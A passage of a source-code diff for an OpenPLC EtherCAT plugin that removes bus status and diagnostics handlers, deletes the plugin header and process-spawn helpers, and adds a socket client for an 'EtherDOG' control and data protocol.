cJSON_GetObjectItemCaseSensitive(params, "interface") : NULL; - cJSON *pos = params ? cJSON_GetObjectItemCaseSensitive(params, "position") : NULL; - - if (!iface || !cJSON_IsString(iface)) { - snprintf(response, response_size, "{\"error\":\"missing 'interface' param\"}"); - return -1; - } - if (!pos || !cJSON_IsNumber(pos)) { - snprintf(response, response_size, "{\"error\":\"missing 'position' param\"}"); - return -1; - } - - int position = pos->valueint; - if (position < 1) { - snprintf(response, response_size, "{\"error\":\"'position' must be a positive integer\"}"); - return -1; - } - - if (validate_interface_name(iface->valuestring, response, response_size) != 0) - return -1; - - /* Refuse test while any master is actively running on the bus */ - if (any_master_active()) { - snprintf(response, response_size, - "{\"error\":\"EtherCAT master is running. Stop the PLC before testing.\"}"); - return -1; - } - - ecx_contextt test_ctx; - memset(&test_ctx, 0, sizeof(test_ctx)); - - if (!ecx_init(&test_ctx, iface->valuestring)) { - snprintf(response, response_size, - "{\"error\":\"Failed to open interface '%s'\"}", iface->valuestring); - return -1; - } - - int slave_count = ecx_config_init(&test_ctx); - if (slave_count <= 0) { - ecx_close(&test_ctx); - snprintf(response, response_size, - "{\"status\":\"success\",\"connected\":false,\"device\":null," - "\"message\":\"No EtherCAT slaves found on the network\"}"); - return 0; - } - - if (position > test_ctx.slavecount) { - char errmsg[128]; - snprintf(errmsg, sizeof(errmsg), - "No device at position %d. Found %d slave(s).", - position, test_ctx.slavecount); - ecx_close(&test_ctx); - snprintf(response, response_size, - "{\"status\":\"error\",\"connected\":false,\"device\":null," - "\"message\":\"%s\"}", errmsg); - return -1; - } - - ec_slavet *s = &test_ctx.slavelist[position]; - - cJSON *resp = cJSON_CreateObject(); - cJSON_AddStringToObject(resp, "status", "success"); - cJSON_AddBoolToObject(resp, "connected", 1); - - cJSON *dev = cJSON_CreateObject(); - cJSON_AddNumberToObject(dev, "position", position); - cJSON_AddStringToObject(dev, "name", s->name); - cJSON_AddNumberToObject(dev, "vendor_id", s->eep_man); - cJSON_AddNumberToObject(dev, "product_code", s->eep_id); - cJSON_AddNumberToObject(dev, "revision", s->eep_rev); - cJSON_AddNumberToObject(dev, "serial_number", s->eep_ser); - cJSON_AddStringToObject(dev, "state", "UNKNOWN"); - cJSON_AddNumberToObject(dev, "al_status_code", 0); - cJSON_AddBoolToObject(dev, "has_coe", (s->mbx_proto & 0x04) != 0); - cJSON_AddNumberToObject(dev, "input_bytes", 0); - cJSON_AddNumberToObject(dev, "output_bytes", 0); - cJSON_AddItemToObject(resp, "device", dev); - - char msg[128]; - snprintf(msg, sizeof(msg), - "Successfully connected to %s at position %d", s->name, position); - cJSON_AddStringToObject(resp, "message", msg); - - char *json_str = cJSON_PrintUnformatted(resp); - if (json_str) { - snprintf(response, response_size, "%s", json_str); - free(json_str); - } - cJSON_Delete(resp); - - ecx_close(&test_ctx); - return 0; -} - -/** - * @brief Local view of cycle diag values, already converted ns -> us. - * - * Used only by the JSON builders to avoid repeating the same atomic_load - * sequence twice. Cross-field tearing is acceptable for diagnostics. - */ -typedef struct { - uint64_t cycle_count; - uint64_t wkc_error_count; - uint64_t noframe_count; - uint64_t avg_cycle_us; - uint64_t min_cycle_us; - uint64_t max_cycle_us; - uint64_t min_exchange_us; - uint64_t max_exchange_us; - /* Scheduling: how well the bus thread is being scheduled. - * period_us — observed time between cycle starts (target = - * configured cycle_us on a healthy RT system) - * latency_us — wake-up delay vs clock_nanosleep deadline; spikes - * point at OS jitter, not bus or PLC issues. */ - int64_t avg_period_us; - int64_t max_period_us; - int64_t min_period_us; - int64_t avg_latency_us; - int64_t max_latency_us; - int64_t min_latency_us; -} ecat_diag_view_t; - -static void load_diag_view(const ecat_master_instance_t *inst, - ecat_diag_view_t *out) -{ - out->cycle_count = atomic_load_explicit(&inst->diag.cycle_count, - memory_order_relaxed); - out->wkc_error_count = atomic_load_explicit(&inst->diag.wkc_error_count, - memory_order_relaxed); - out->noframe_count = atomic_load_explicit(&inst->diag.noframe_count, - memory_order_relaxed); - - /* Time-based EWMA: divide the stored sum by the master's avg_window - * to recover the moving average. Single bus_cycle_ns measurement - * is exposed under both legacy names (avg/min/max_cycle_us and - * min/max_exchange_us) for JSON compatibility with the Editor. */ - int64_t window = inst->avg_window > 0 ? inst->avg_window : 1; - - int64_t bus_sum = atomic_load_explicit(&inst->diag.avg_bus_cycle_ns_sum, - memory_order_relaxed); - out->avg_cycle_us = (uint64_t)((bus_sum / window) / 1000); - - uint64_t min_bcn = atomic_load_explicit(&inst->diag.min_bus_cycle_ns, - memory_order_relaxed); - uint64_t max_bcn = atomic_load_explicit(&inst->diag.max_bus_cycle_ns, - memory_order_relaxed); - uint64_t min_us = (min_bcn == UINT64_MAX) ? 0 : min_bcn / 1000; - uint64_t max_us = max_bcn / 1000; - - out->min_cycle_us = min_us; - out->max_cycle_us = max_us; - out->min_exchange_us = min_us; - out->max_exchange_us = max_us; - - /* Scheduling stats — captured by the bus thread itself. */ - int64_t per_sum = atomic_load_explicit(&inst->diag.avg_period_ns_sum, - memory_order_relaxed); - uint64_t min_per_ns = atomic_load_explicit(&inst->diag.min_period_ns, - memory_order_relaxed); - uint64_t max_per_ns = atomic_load_explicit(&inst->diag.max_period_ns, - memory_order_relaxed); - int64_t lat_sum = atomic_load_explicit(&inst->diag.avg_latency_ns_sum, - memory_order_relaxed); - int64_t min_lat_ns = atomic_load_explicit(&inst->diag.min_latency_ns, - memory_order_relaxed); - int64_t max_lat_ns = atomic_load_explicit(&inst->diag.max_latency_ns, - memory_order_relaxed); - - out->avg_period_us = (per_sum / window) / 1000; - out->max_period_us = (int64_t)(max_per_ns / 1000); - out->min_period_us = (min_per_ns == UINT64_MAX) ? 0 - : (int64_t)(min_per_ns / 1000); - out->avg_latency_us = (lat_sum / window) / 1000; - out->max_latency_us = max_lat_ns / 1000; - out->min_latency_us = (min_lat_ns == INT64_MAX) ? 0 : min_lat_ns / 1000; -} - -/** - * @brief Add a "slaves" JSON array using the published slaves_snapshot. - * - * @param diagnostics Include extra fields (al_state_raw) when true. - */ -static void add_slaves_json(ecat_master_instance_t *inst, cJSON *master, - int *out_count, bool diagnostics) -{ - ecat_slave_status_t local[ECAT_MAX_SLAVES]; - int n; - - pthread_mutex_lock(&inst->slaves_mutex); - n = inst->slaves_snapshot_count; - if (n > ECAT_MAX_SLAVES) - n = ECAT_MAX_SLAVES; - memcpy(local, inst->slaves_snapshot, sizeof(local)); - pthread_mutex_unlock(&inst->slaves_mutex); - - *out_count = n; - - cJSON *slaves = cJSON_AddArrayToObject(master, "slaves"); - for (int i = 0; i < n; i++) { - const ecat_slave_status_t *ss = &local[i]; - cJSON *slave = cJSON_CreateObject(); - cJSON_AddNumberToObject(slave, "position", ss->position); - cJSON_AddStringToObject(slave, "name", ss->name); - cJSON_AddStringToObject(slave, "state", al_state_to_string(ss->al_state)); - if (diagnostics) - cJSON_AddNumberToObject(slave, "al_state_raw", ss->al_state); - cJSON_AddNumberToObject(slave, "al_status_code", ss->al_status_code); - cJSON_AddNumberToObject(slave, "error_count", ss->error_count); - cJSON_AddBoolToObject(slave, "has_error", - (ss->al_state & EC_STATE_ERROR) != 0 || - ss->al_state != EC_STATE_OPERATIONAL); - cJSON_AddItemToArray(slaves, slave); - } -} - -/** - * @brief Build a JSON object for a single master's status. - * - * Reads counters/timing lock-free from inst->diag (atomic), and the - * per-slave snapshot under slaves_mutex. No interaction with the PLC - * thread's hot path. - */ -static cJSON *build_master_status_json(ecat_master_instance_t *inst) -{ - ecat_plugin_state_t state = - (ecat_plugin_state_t)atomic_load(&inst->plugin_state); - int consecutive_wkc = atomic_load(&inst->consecutive_wkc_errors); - int recovery_attempts = atomic_load(&inst->recovery_attempts); -#if ECAT_ENABLE_MONITOR_THREAD - uint64_t exchange_skips = atomic_load(&inst->exchange_skips); -#else - uint64_t exchange_skips = 0; -#endif - - ecat_diag_view_t diag; - load_diag_view(inst, &diag); - - cJSON *master = cJSON_CreateObject(); - cJSON_AddStringToObject(master, "name", inst->name); - cJSON_AddStringToObject(master, "plugin_state", ecat_state_to_string(state)); - cJSON_AddNumberToObject(master, "expected_wkc", inst->expected_wkc); - - int slave_count = 0; - add_slaves_json(inst, master, &slave_count, false); - cJSON_AddNumberToObject(master, "slave_count", slave_count); - - /* Cycle metrics — work-window (cycle/exchange) and scheduling - * (period/latency). See build_master_diagnostics_json for the - * definitions; both shapes carry the same keys so the editor can - * render them through a single code path. */ - cJSON *metrics = cJSON_CreateObject(); - cJSON_AddNumberToObject(metrics, "cycle_count", (double)diag.cycle_count); - cJSON_AddNumberToObject(metrics, "wkc_error_count", (double)diag.wkc_error_count); - cJSON_AddNumberToObject(metrics, "noframe_count", (double)diag.noframe_count); - cJSON_AddNumberToObject(metrics, "avg_cycle_us", (double)diag.avg_cycle_us); - cJSON_AddNumberToObject(metrics, "min_cycle_us", (double)diag.min_cycle_us); - cJSON_AddNumberToObject(metrics, "max_cycle_us", (double)diag.max_cycle_us); - cJSON_AddNumberToObject(metrics, "min_exchange_us", (double)diag.min_exchange_us); - cJSON_AddNumberToObject(metrics, "max_exchange_us", (double)diag.max_exchange_us); - cJSON_AddNumberToObject(metrics, "avg_period_us", (double)diag.avg_period_us); - cJSON_AddNumberToObject(metrics, "max_period_us", (double)diag.max_period_us); - cJSON_AddNumberToObject(metrics, "min_period_us", (double)diag.min_period_us); - cJSON_AddNumberToObject(metrics, "avg_latency_us", (double)diag.avg_latency_us); - cJSON_AddNumberToObject(metrics, "max_latency_us", (double)diag.max_latency_us); - cJSON_AddNumberToObject(metrics, "min_latency_us", (double)diag.min_latency_us); - cJSON_AddNumberToObject(metrics, "consecutive_wkc_errors", consecutive_wkc); - cJSON_AddNumberToObject(metrics, "recovery_attempts", recovery_attempts); - cJSON_AddNumberToObject(metrics, "exchange_skips", (double)exchange_skips); - cJSON_AddItemToObject(master, "metrics", metrics); - - return master; -} - -/** - * @brief Handle the "status" command - * - * Returns a snapshot of all masters' status via the "masters" array. - */ -static int handle_status_command(char *response, size_t response_size) -{ - cJSON *resp = cJSON_CreateObject(); - - cJSON *masters_arr = cJSON_AddArrayToObject(resp, "masters"); - for (int i = 0; i < g_master_count; i++) { - cJSON_AddItemToArray(masters_arr, build_master_status_json(&g_masters[i])); - } - - char *json_str = cJSON_PrintUnformatted(resp); - if (json_str) { - snprintf(response, response_size, "%s", json_str); - free(json_str); - } - cJSON_Delete(resp); - - return 0; -} - -/** - * @brief Build a JSON object for a single master's diagnostics. - */ -static cJSON *build_master_diagnostics_json(ecat_master_instance_t *inst) -{ - ecat_plugin_state_t state = - (ecat_plugin_state_t)atomic_load(&inst->plugin_state); - int consecutive_wkc = atomic_load(&inst->consecutive_wkc_errors); - int recovery_attempts = atomic_load(&inst->recovery_attempts); -#if ECAT_ENABLE_MONITOR_THREAD - uint64_t exchange_skips = atomic_load(&inst->exchange_skips); -#else - uint64_t exchange_skips = 0; -#endif - - ecat_diag_view_t diag; - load_diag_view(inst, &diag); - - cJSON *master = cJSON_CreateObject(); - cJSON_AddStringToObject(master, "name", inst->name); - cJSON_AddStringToObject(master, "plugin_state", ecat_state_to_string(state)); - cJSON_AddNumberToObject(master, "expected_wkc", inst->expected_wkc); - - int slave_count = 0; - add_slaves_json(inst, master, &slave_count, true); - cJSON_AddNumberToObject(master, "slave_count", slave_count); - - /* Timing metrics, two distinct categories: - * - * work-window (avg/max_cycle_us, max_exchange_us): how much time - * the bus thread spends actually working per cycle. Tells you - * whether the configured cycle period is sufficient to fit the - * SOEM round-trip plus the two mutex-protected memcpys. - * - * scheduling (avg/max/min_period_us, avg/max/min_latency_us): - * how well the bus thread is being scheduled. period_us is - * the observed time between cycle starts (should equal - * configured_cycle_us on average); latency_us is the - * wake-up delay from clock_nanosleep's deadline. Spikes here - * point at OS scheduling jitter, not bus or PLC issues. - */ - cJSON *timing = cJSON_CreateObject(); - cJSON_AddNumberToObject(timing, "cycle_count", (double)diag.cycle_count); - cJSON_AddNumberToObject(timing, "wkc_error_count", (double)diag.wkc_error_count); - cJSON_AddNumberToObject(timing, "noframe_count", (double)diag.noframe_count); - cJSON_AddNumberToObject(timing, "avg_cycle_us", (double)diag.avg_cycle_us); - cJSON_AddNumberToObject(timing, "min_cycle_us", (double)diag.min_cycle_us); - cJSON_AddNumberToObject(timing, "max_cycle_us", (double)diag.max_cycle_us); - cJSON_AddNumberToObject(timing, "min_exchange_us", (double)diag.min_exchange_us); - cJSON_AddNumberToObject(timing, "max_exchange_us", (double)diag.max_exchange_us); - cJSON_AddNumberToObject(timing, "avg_period_us", (double)diag.avg_period_us); - cJSON_AddNumberToObject(timing, "max_period_us", (double)diag.max_period_us); - cJSON_AddNumberToObject(timing, "min_period_us", (double)diag.min_period_us); - cJSON_AddNumberToObject(timing, "avg_latency_us", (double)diag.avg_latency_us); - cJSON_AddNumberToObject(timing, "max_latency_us", (double)diag.max_latency_us); - cJSON_AddNumberToObject(timing, "min_latency_us", (double)diag.min_latency_us); - cJSON_AddNumberToObject(timing, "configured_cycle_us", - inst->config.master.cycle_time_us); - cJSON_AddNumberToObject(timing, "receive_timeout_us", inst->receive_timeout_us); - cJSON_AddItemToObject(master, "timing", timing); - - /* Recovery info */ - cJSON *recovery = cJSON_CreateObject(); - cJSON_AddNumberToObject(recovery, "consecutive_wkc_errors", consecutive_wkc); - cJSON_AddNumberToObject(recovery, "recovery_attempts", recovery_attempts); - cJSON_AddNumberToObject(recovery, "max_recovery_attempts", ECAT_MAX_RECOVERY_ATTEMPTS); - cJSON_AddNumberToObject(recovery, "wkc_error_threshold", ECAT_WKC_ERROR_THRESHOLD); - cJSON_AddNumberToObject(recovery, "exchange_skips", (double)exchange_skips); - cJSON_AddNumberToObject(recovery, "writestate_failures", - (double)atomic_load(&inst->recovery_writestate_failures)); - cJSON_AddItemToObject(master, "recovery", recovery); - - /* Master configuration */ - cJSON *master_cfg = cJSON_CreateObject(); - cJSON_AddStringToObject(master_cfg, "interface", inst->config.master.interface); - cJSON_AddNumberToObject(master_cfg, "cycle_time_us", - inst->config.master.cycle_time_us); - cJSON_AddNumberToObject(master_cfg, "watchdog_timeout_cycles", - inst->config.master.watchdog_timeout_cycles); - cJSON_AddItemToObject(master, "master_config", master_cfg); - - return master; -} - -/** - * @brief Handle the "diagnostics" command - * - * Returns detailed diagnostic information for all masters via the "masters" array. - */ -static int handle_diagnostics_command(char *response, size_t response_size) -{ - cJSON *resp = cJSON_CreateObject(); - - cJSON *masters_arr = cJSON_AddArrayToObject(resp, "masters"); - for (int i = 0; i < g_master_count; i++) { - cJSON_AddItemToArray(masters_arr, - build_master_diagnostics_json(&g_masters[i])); - } - - char *json_str = cJSON_PrintUnformatted(resp); - if (json_str) { - snprintf(response, response_size, "%s", json_str); - free(json_str); - } - cJSON_Delete(resp); - - return 0; -} - -/** - * @brief Execute an async command routed from the unix socket - */ -int execute_command(const char *command_json, char *response, size_t response_size) -{ - cJSON *root = cJSON_Parse(command_json); - if (!root) { - snprintf(response, response_size, "{\"error\":\"invalid JSON\"}"); - return -1; - } - - cJSON *cmd = cJSON_GetObjectItemCaseSensitive(root, "command"); - if (!cmd || !cJSON_IsString(cmd)) { - cJSON_Delete(root); - snprintf(response, response_size, "{\"error\":\"missing 'command' field\"}"); - return -1; - } - - int result = -1; - if (strcmp(cmd->valuestring, "scan") == 0) { - result = handle_scan_command(root, response, response_size); - } else if (strcmp(cmd->valuestring, "list-interfaces") == 0) { - result = handle_list_interfaces_command(response, response_size); - } else if (strcmp(cmd->valuestring, "test") == 0) { - result = handle_test_command(root, response, response_size); - } else if (strcmp(cmd->valuestring, "status") == 0) { - result = handle_status_command(response, response_size); - } else if (strcmp(cmd->valuestring, "diagnostics") == 0) { - result = handle_diagnostics_command(response, response_size); - } else { - snprintf(response, response_size, "{\"error\":\"unknown command '%s'\"}", cmd->valuestring); - } - - cJSON_Delete(root); - return result; + return strstr(response, "\"error\"") != NULL ? -1 : 0; } diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_plugin.h b/core/src/drivers/plugins/native/ethercat/ethercat_plugin.h deleted file mode 100644 index d9b3da7a..00000000 --- a/core/src/drivers/plugins/native/ethercat/ethercat_plugin.h +++ /dev/null @@ -1,106 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file ethercat_plugin.h - * @brief EtherCAT Plugin Interface for OpenPLC Runtime v4 - * - * This plugin implements an EtherCAT master using the SOEM library. - * It reads the EtherCAT configuration JSON generated by the OpenPLC Editor, - * initializes the SOEM master, validates the bus topology against the - * expected configuration, and manages process data exchange with slaves. - * - * Plugin lifecycle: - * init() -> Load config, initialize logger [state: IDLE] - * start_loop() -> Scan bus, write SDOs, map PDOs, transition to OP [state: OPERATIONAL] - * cycle_start() -> Exchange process data, read inputs into PLC buffers - * cycle_end() -> (no-op, outputs written at start of next cycle) - * stop_loop() -> Close master [state: STOPPED] - * cleanup() -> Free resources - * - * Architecture: - * Process data exchange runs synchronously inside the PLC scan cycle - * via the cycle_start() hook. The bus cycle is fully synchronized with - * the PLC base tick. - * - * A background monitor thread (enabled by ECAT_ENABLE_MONITOR_THREAD) - * handles slave state checking and recovery outside the scan cycle. - * PLC thread and monitor thread serialize SOEM access via a per-instance - * pthread_mutex (soem_lock) initialized with PRIO_INHERIT. The PLC - * uses pthread_mutex_trylock and skips a cycle (stale I/O data, no - * blocking) whenever the monitor is currently holding the lock. - * - * State machine: STOPPED -> IDLE -> SCANNING -> CONFIGURING -> - * TRANSITIONING -> OPERATIONAL <-> RECOVERING -> ERROR - * - * Commands: "scan", "status", "diagnostics" - */ - -#ifndef ETHERCAT_PLUGIN_H -#define ETHERCAT_PLUGIN_H - -/** - * @brief Initialize the EtherCAT plugin - * - * Copies runtime args, initializes logger, loads and parses JSON config. - * - * @param args Pointer to plugin_runtime_args_t (freed after init returns) - * @return 0 on success, -1 on failure - */ -int init(void *args); - -/** - * @brief Start the EtherCAT master - * - * Initializes SOEM, scans the bus, validates topology, writes SDOs, - * maps PDOs, and transitions slaves to operational state. - * - * @return 0 on success, -1 on failure - */ -int start_loop(void); - -/** - * @brief Stop the EtherCAT master - * - * Transitions all slaves to INIT state and closes the network interface. - */ -void stop_loop(void); - -/** - * @brief Cleanup plugin resources - */ -void cleanup(void); - -/** - * @brief Called at the start of each PLC scan cycle - * - * Performs synchronous EtherCAT process data exchange: - * writes outputs from the previous cycle, exchanges with slaves, - * and reads fresh inputs into PLC buffers. - */ -void cycle_start(void); - -/** - * @brief Called at the end of each PLC scan cycle - * - * No-op. Outputs are written at the start of the next cycle_start() - * to be sent together with the exchange that receives fresh inputs. - */ -void cycle_end(void); - -/** - * @brief Execute an async command - * - * Supported commands: - * - "scan": Scan bus for slaves (uses temporary SOEM context) - * - "status": Return current master/slave status snapshot - * - "diagnostics": Return detailed timing and recovery diagnostics - * - * @param command_json JSON string with "command" and optional "params" fields - * @param response Buffer for JSON response - * @param response_size Size of response buffer - * @return 0 on success, -1 on error - */ -int execute_command(const char *command_json, char *response, size_t response_size); - -#endif /* ETHERCAT_PLUGIN_H */ diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_proc.c b/core/src/drivers/plugins/native/ethercat/ethercat_proc.c deleted file mode 100644 index f41a7750..00000000 --- a/core/src/drivers/plugins/native/ethercat/ethercat_proc.c +++ /dev/null @@ -1,96 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file ethercat_proc.c - * @brief Process-spawn helpers for the EtherCAT plugin. - */ - -#include "ethercat_proc.h" - -#if !defined(__CYGWIN__) && !defined(_WIN32) - -#include -#include -#include -#include - -int ecat_run_argv(const char *bin, char *const argv[], - char *capture_buf, size_t capture_size) -{ - if (bin == NULL || argv == NULL) - return -1; - - int pipefd[2] = { -1, -1 }; - int capturing = (capture_buf != NULL && capture_size > 0); - if (capturing) { - if (pipe(pipefd) != 0) - return -1; - } - - pid_t pid = fork(); - if (pid < 0) { - if (capturing) { close(pipefd[0]); close(pipefd[1]); } - return -1; - } - - if (pid == 0) { - /* --- child --- */ - int devnull = open("/dev/null", O_WRONLY); - if (capturing) { - close(pipefd[0]); - if (pipefd[1] != STDOUT_FILENO) { - dup2(pipefd[1], STDOUT_FILENO); - close(pipefd[1]); - } - } else if (devnull >= 0) { - dup2(devnull, STDOUT_FILENO); - } - if (devnull >= 0) { - dup2(devnull, STDERR_FILENO); - if (devnull > STDERR_FILENO) - close(devnull); - } - execvp(bin, argv); - _exit(127); - } - - /* --- parent --- */ - if (capturing) { - close(pipefd[1]); - size_t total = 0; - while (total + 1 < capture_size) { - ssize_t n = read(pipefd[0], capture_buf + total, - capture_size - 1 - total); - if (n <= 0) - break; - total += (size_t)n; - } - capture_buf[total] = '\0'; - /* Drain any remaining output so the child does not block on a - * full pipe; we have already truncated to capture_size. */ - char drain[256]; - while (read(pipefd[0], drain, sizeof(drain)) > 0) - ; - close(pipefd[0]); - } - - int status = 0; - if (waitpid(pid, &status, 0) < 0) - return -1; - return WIFEXITED(status) ? WEXITSTATUS(status) : -1; -} - -#else /* MSYS2 / Cygwin / native Windows -- shell-out paths are not used */ - -int ecat_run_argv(const char *bin, char *const argv[], - char *capture_buf, size_t capture_size) -{ - (void)bin; - (void)argv; - (void)capture_buf; - (void)capture_size; - return -1; -} - -#endif diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_proc.h b/core/src/drivers/plugins/native/ethercat/ethercat_proc.h deleted file mode 100644 index 2e35dd35..00000000 --- a/core/src/drivers/plugins/native/ethercat/ethercat_proc.h +++ /dev/null @@ -1,49 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file ethercat_proc.h - * @brief Process-spawn helpers for the EtherCAT plugin. - * - * Wraps fork+execvp so the plugin can invoke external binaries (ethtool) - * without going through a shell. Argv elements are passed verbatim to - * execvp, so user-controlled strings (e.g. the configured NIC interface - * name) cannot be reinterpreted as shell metacharacters. - */ - -#ifndef ETHERCAT_PROC_H -#define ETHERCAT_PROC_H - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * @brief Run an external binary with explicit argv via fork+execvp. - * - * No shell is involved. argv must be NULL-terminated; argv[0] is passed - * to the child as its argv[0] (conventionally equal to @p bin). - * - * Stderr in the child is always redirected to /dev/null. Stdout is either - * captured (if @p capture_buf is non-NULL) or also redirected to /dev/null. - * - * @param bin Binary name (resolved via PATH by execvp). - * @param argv NULL-terminated argument vector. - * @param capture_buf Optional buffer to receive child stdout, NUL-terminated. - * Output is truncated to @p capture_size - 1 bytes. - * @param capture_size Size of @p capture_buf. Ignored if buffer is NULL. - * - * @return Exit status of the child (0 on success, non-zero from the child - * such as 127 if execvp failed), or -1 if the parent could not - * spawn or wait. Always returns -1 on non-Linux platforms. - */ -int ecat_run_argv(const char *bin, char *const argv[], - char *capture_buf, size_t capture_size); - -#ifdef __cplusplus -} -#endif - -#endif /* ETHERCAT_PROC_H */ diff --git a/core/src/drivers/plugins/native/ethercat/etherdog_link.c b/core/src/drivers/plugins/native/ethercat/etherdog_link.c new file mode 100644 index 00000000..f88e27af --- /dev/null +++ b/core/src/drivers/plugins/native/ethercat/etherdog_link.c @@ -0,0 +1,403 @@ +// SPDX-License-Identifier: MIT +// Copyright (c) 2026 Autonomy® + +/** + * @file etherdog_link.c + * @brief EtherDOG protocol client (control lines and data frames). + */ + +#include "etherdog_link.h" + +#include "cJSON.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define KIND_OUTPUTS 1 +#define KIND_INPUTS 2 +#define PROTOCOL_VERSION 1 + +/* --- little-endian field helpers ------------------------------------------------------- */ + +static void put_le(uint8_t *p, uint64_t v, int n) +{ + for (int i = 0; i < n; i++) + p[i] = (uint8_t)(v >> (8 * i)); +} + +static uint64_t get_le(const uint8_t *p, int n) +{ + uint64_t v = 0; + for (int i = n - 1; i >= 0; i--) + v = (v << 8) | p[i]; + return v; +} + +/* --- session file ---------------------------------------------------------------------- */ + +int edl_read_session(const char *path, edl_session_t *out, char *err, size_t err_size) +{ + memset(out, 0, sizeof(*out)); + FILE *fp = fopen(path, "r"); + if (fp == NULL) { + snprintf(err, err_size, "cannot open EtherDOG session file %s: %s", path, + strerror(errno)); + return -1; + } + char text[2048]; + size_t n = fread(text, 1, sizeof(text) - 1, fp); + fclose(fp); + text[n] = '\0'; + + cJSON *root = cJSON_Parse(text); + const cJSON *control = root ? cJSON_GetObjectItemCaseSensitive(root, "control") : NULL; + if (!cJSON_IsString(control)) { + snprintf(err, err_size, "EtherDOG session file %s has no 'control' endpoint", path); + cJSON_Delete(root); + return -1; + } + snprintf(out->control, sizeof(out->control), "%s", control->valuestring); + const cJSON *token = cJSON_GetObjectItemCaseSensitive(root, "token"); + if (cJSON_IsString(token)) + snprintf(out->token, sizeof(out->token), "%s", token->valuestring); + const cJSON *data = cJSON_GetObjectItemCaseSensitive(root, "data"); + out->udp = cJSON_IsString(data) && strcmp(data->valuestring, "udp") == 0; + cJSON_Delete(root); + return 0; +} + +/* --- control connection ---------------------------------------------------------------- */ + +void edl_init(edl_link_t *link) +{ + memset(link, 0, sizeof(*link)); + link->ctl_fd = -1; + link->data_fd = -1; +} + +static int connect_spec(const char *spec, char *err, size_t err_size) +{ + if (strncmp(spec, "unix:", 5) == 0) { + struct sockaddr_un addr; + memset(&addr, 0, sizeof(addr)); + addr.sun_family = AF_UNIX; + if (strlen(spec + 5) >= sizeof(addr.sun_path)) { + snprintf(err, err_size, "control socket path too long"); + return -1; + } + snprintf(addr.sun_path, sizeof(addr.sun_path), "%s", spec + 5); + int fd = socket(AF_UNIX, SOCK_STREAM, 0); + if (fd >= 0 && connect(fd, (struct sockaddr *)&addr, sizeof(addr)) == 0) + return fd; + snprintf(err, err_size, "cannot reach EtherDOG at %s: %s", spec, strerror(errno)); + if (fd >= 0) + close(fd); + return -1; + } + if (strncmp(spec, "tcp:", 4) == 0) { + char host[64]; + const char *rest = spec + 4; + const char *colon = strrchr(rest, ':'); + if (colon == NULL || (size_t)(colon - rest) >= sizeof(host)) { + snprintf(err, err_size, "invalid control endpoint %s", spec); + return -1; + } + memcpy(host, rest, (size_t)(colon - rest)); + host[colon - rest] = '\0'; + struct sockaddr_in addr; + memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = htons((uint16_t)atoi(colon + 1)); + if (inet_pton(AF_INET, host, &addr.sin_addr) != 1) { + snprintf(err, err_size, "invalid control endpoint %s", spec); + return -1; + } + int fd = socket(AF_INET, SOCK_STREAM, 0); + if (fd >= 0 && connect(fd, (struct sockaddr *)&addr, sizeof(addr)) == 0) + return fd; + snprintf(err, err_size, "cannot reach EtherDOG at %s: %s", spec, strerror(errno)); + if (fd >= 0) + close(fd); + return -1; + } + snprintf(err, err_size, "unsupported control endpoint %s", spec); + return -1; +} + +int edl_call(edl_link_t *link, const char *request, char *response, size_t response_size, + int timeout_ms) +{ + if (link->ctl_fd < 0) + return -1; + size_t len = strlen(request); + const char *p = request; + size_t left = len; + while (left > 0) { + ssize_t n = send(link->ctl_fd, p, left, 0); + if (n < 0) { + if (errno == EINTR) + continue; + return -1; + } + p += n; + left -= (size_t)n; + } + if (send(link->ctl_fd, "\n", 1, 0) != 1) + return -1; + + for (;;) { + char *nl = memchr(link->rbuf, '\n', link->rlen); + if (nl != NULL) { + size_t line = (size_t)(nl - link->rbuf); + size_t copy = line < response_size - 1 ? line : response_size - 1; + memcpy(response, link->rbuf, copy); + response[copy] = '\0'; + memmove(link->rbuf, nl + 1, link->rlen - line - 1); + link->rlen -= line + 1; + return 0; + } + if (link->rlen >= sizeof(link->rbuf)) + return -1; + struct pollfd pfd = { .fd = link->ctl_fd, .events = POLLIN }; + int rc = poll(&pfd, 1, timeout_ms); + if (rc <= 0) + return -1; + ssize_t n = recv(link->ctl_fd, link->rbuf + link->rlen, sizeof(link->rbuf) - link->rlen, 0); + if (n <= 0) + return -1; + link->rlen += (size_t)n; + } +} + +int edl_connect(edl_link_t *link, const edl_session_t *session, char *err, size_t err_size) +{ + edl_close(link); + link->ctl_fd = connect_spec(session->control, err, err_size); + if (link->ctl_fd < 0) + return -1; + + cJSON *req = cJSON_CreateObject(); + cJSON_AddStringToObject(req, "command", "hello"); + cJSON *params = cJSON_AddObjectToObject(req, "params"); + cJSON_AddStringToObject(params, "token", session->token); + char *line = cJSON_PrintUnformatted(req); + cJSON_Delete(req); + if (line == NULL) { + snprintf(err, err_size, "out of memory"); + return -1; + } + + char resp[1024]; + int rc = edl_call(link, line, resp, sizeof(resp), 5000); + free(line); + if (rc != 0 || strstr(resp, "\"error\"") != NULL) { + snprintf(err, err_size, "EtherDOG refused the connection: %s", rc ? "no reply" : resp); + edl_close(link); + return -1; + } + return 0; +} + +/* --- data session ---------------------------------------------------------------------- */ + +static int parse_server(const char *spec, struct sockaddr_storage *out, socklen_t *len) +{ + memset(out, 0, sizeof(*out)); + if (strncmp(spec, "unix:", 5) == 0) { + struct sockaddr_un *un = (struct sockaddr_un *)out; + if (strlen(spec + 5) >= sizeof(un->sun_path)) + return -1; + un->sun_family = AF_UNIX; + snprintf(un->sun_path, sizeof(un->sun_path), "%s", spec + 5); + *len = sizeof(*un); + return 0; + } + if (strncmp(spec, "udp:", 4) == 0) { + char host[64]; + const char *rest = spec + 4; + const char *colon = strrchr(rest, ':'); + if (colon == NULL || (size_t)(colon - rest) >= sizeof(host)) + return -1; + memcpy(host, rest, (size_t)(colon - rest)); + host[colon - rest] = '\0'; + struct sockaddr_in *in = (struct sockaddr_in *)out; + in->sin_family = AF_INET; + in->sin_port = htons((uint16_t)atoi(colon + 1)); + if (inet_pton(AF_INET, host, 